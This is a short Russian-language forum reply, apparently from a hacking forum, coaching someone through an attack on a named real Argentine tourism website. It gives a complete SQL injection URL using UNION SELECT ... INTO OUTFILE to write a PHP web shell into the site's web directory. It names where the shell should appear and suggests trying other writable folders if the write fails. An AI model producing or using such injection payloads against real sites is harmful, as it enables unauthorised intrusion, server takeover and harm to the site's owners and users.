А какую инъекцию составляешь?
Вот так не работает?


http://www.eurotur.com.ar/php/newdesign/nacional/region.php?tipoweb=1&directorio=/php/newdesign/nacional/&tipoturismo=2&region_id=&pais_codigo=-1+and+1=0+Union+Select+1,%27%27,3,4,5+from+mysql.u ser+into+outfile+%27/srv/www/htdocs/php/newdesign/nacional/1.php%27
И шелл должен быть тут
http://www.eurotur.com.ar/php/newdesign/nacional/1.php
Если нет, то скорей всего папка недоступна на запись. Попробуй найти другую.